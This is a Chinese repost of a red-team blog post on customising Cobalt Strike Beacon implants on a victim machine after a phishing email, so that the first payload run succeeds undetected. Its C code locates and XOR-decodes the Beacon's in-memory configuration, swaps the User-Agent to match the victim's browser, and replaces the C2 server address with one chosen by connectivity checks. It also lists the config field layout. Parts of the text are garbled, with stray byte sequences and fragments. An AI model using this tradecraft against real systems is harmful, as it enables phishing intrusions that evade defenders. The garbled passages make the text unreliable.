你也许经历过这样的事情:完成了最初的侦察,发送了电子邮件收集 HTTP Header,配置合适的配置参数,设置 CDN 启动了流量重定向。接着什么都没有发生,但从 DNS 中可以看到 Beacon 已经被执行了。当然可以再次修改 Payload 重新发送钓鱼邮件,但是为时已晚,所有人已经收到了群发消息,要求谨慎打开可疑的邮件。
钓鱼也正在变得越来越困难,尽量可以毕其功于一役,为第一次 Payload 执行提供更多的成功可能。一种可行的方案是在启动 Beacon 之前分析执行环境并检查可连接性,再令 C&C 的配置文件生效。这样尽可能地确保在 Beacon 真正执行时能够正常工作,且看起来不可疑。
生成 Cobalt Strike Beacon
x2ex2fx2ex2fx2ex2c
扫描 Beacon,该序列是 x00x01x00x01x00x02
经过异或混淆而来。[ ID ] [ DATA TYPE ID ] [ LENGTH OF VALUE ] [ VALUE ]
-
1:Short
-
2:Int
-
3:String
-
4:Data
Hellox00
,但该字段允许 128 个字节,则 LENGTH 需要设置为 128。[ 2 ] [ 1 ] [ 2 ] [ 3133 ]
0x2e
进行异或加密,防止提取字符串直接得到配置信息。可以使用 C 的结构体来方便查看:struct CSConfigField {
unsigned short ID;
unsigned short dataType;
unsigned short dataLength;
union {
unsigned short shortData;
unsigned int intData;
char data[1];
} value;
};
以 User-Agent 为例
在配置文件中可以指定 Cobalt Strike 的 Beacon 在 HTTP 通信时使用的 User-Agent:
set useragent "something legit";
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
如果用户恰好使用的是 IE 浏览器就很好(虽然操作系统版本不一定对得上号)。但如果使用的是 Chrome 和 Firefox 的设备向新出现的域名发起了属于 IE 的 User-Agent 的请求,这会显得非常可疑。
x2ex2fx2ex2fx2ex2c
找到 Beacon 的配置块:
extern char inmemorybeacon[];
int beaconConfigOffset = 0;
int xorKey = 0;
for (int i = 0; i < beaconLength - MAX_MALLEABLE_SIGNATURE_LENGTH; i++) {
if (memcmp(beacon + i, MALLEABLE_SIGNATURE, MALLEABLE_LENGTH) == 0) {
beaconConfigOffset = i;
xorKey = MALLEABLE_XOR;
break;
}
}
再使用 0x2e
对异或进行反解:
char config[MALLEABLE_CONFIG_SIZE];
for (int i = 0; i < MALLEABLE_CONFIG_SIZE; i++) {
config[i] = *(beacon + beaconConfigOffset + i) ^ xorKey;
}
解码后,解析配置信息,找到与 User-Agent 的 ID 相对应的位置:
struct CSConfigField *configField = (struct CSConfigField *)malleable;
while(SWAP_UINT16(configField->ID) != 0x00) {
if (SWAP_UINT16(configField->ID) == CS_OPTION_USERAGENT) {
// Do something with our user-agent here
break;
}
configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField->dataLength));
}
找到该配置信息,有 128 个字节的空间,将最有用的那个 User-Agent 复制到配置文件中。
userAgent = findBestUserAgentMatch();
memset(configField->value.data, 0, SWAP_UINT16(configField->dataLength));
strncpy(configField->value.data, userAgent, SWAP_UINT16(configField->dataLength));
修改好配置之后,用重新异或后的数据更新配置信息块,再传递给 Beacon 执行。
for (int i = 0; i < MALLEABLE_CONFIG_SIZE; i++) {
*(beacon + beaconConfigOffset + i) = config[i] ^ xorKey;
}
如果一切顺利的话,Beacon 将使用更适合的 User-Agent 来进行 C&C 通信。
以 C&C 服务器为例
struct CSConfigField *configField = (struct CSConfigField *)malleable;
while(SWAP_UINT16(configField->ID) != 0x00) {
if (SWAP_UINT16(configField->ID) == CS_OPTION_C2) {
// Do something with our c2 target here
break;
}
configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField->dataLength));
}
出于 POC 的目的,直接使用了硬编码的列表。不仅可用于连通性检查,也可以多个出口选择。一种非常有效的方法是基于 DNS 的 CNAME 记录进行选择,也可以根据需要进行添加、删除、轮换。
strncpy(configField->data, "derivedc2address.com,/Page", configField->dataLength);
总结
-
2 (Short) - 端口
-
3 (Int) - 睡眠时间
-
5 (Short) - 抖动时间(Jitter)
-
8 (256 byte string) - C&C 服务器
-
9 (128 byte string) - User Agent
-
10 (64 byte string) - Post URI
-
14 (16 byte data) - SpawnTo
-
15 (128 byte string) - 管道名称
-
26 (16 byte string) - GET verb
-
27 (16 byte string) - POST verb
-
28 (Int - 96 as true, 0 as false) - Should Chunk Posts
-
29 (64 byte string) - SpawnTo (x86)
-
30 (64 byte string) - SpawnTo (x64)
CobaltStrikeParser https://github.com/Sentinel-One/CobaltStrikeParser/blob/81726103455f4f2789b2388387093f087a7a7724/parse_beacon_config.py#L219
GitHub 代码 https://gist.github.com/xpn/6c40d620607e97c2a09c70032d32d278
原文地址 https://blog.xpnsec.com/tailoring-cobalt-strike-on-target/
原文始发于微信公众号(威胁棱镜):针对攻击目标量身定制 CS 的 Beacon 执行
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论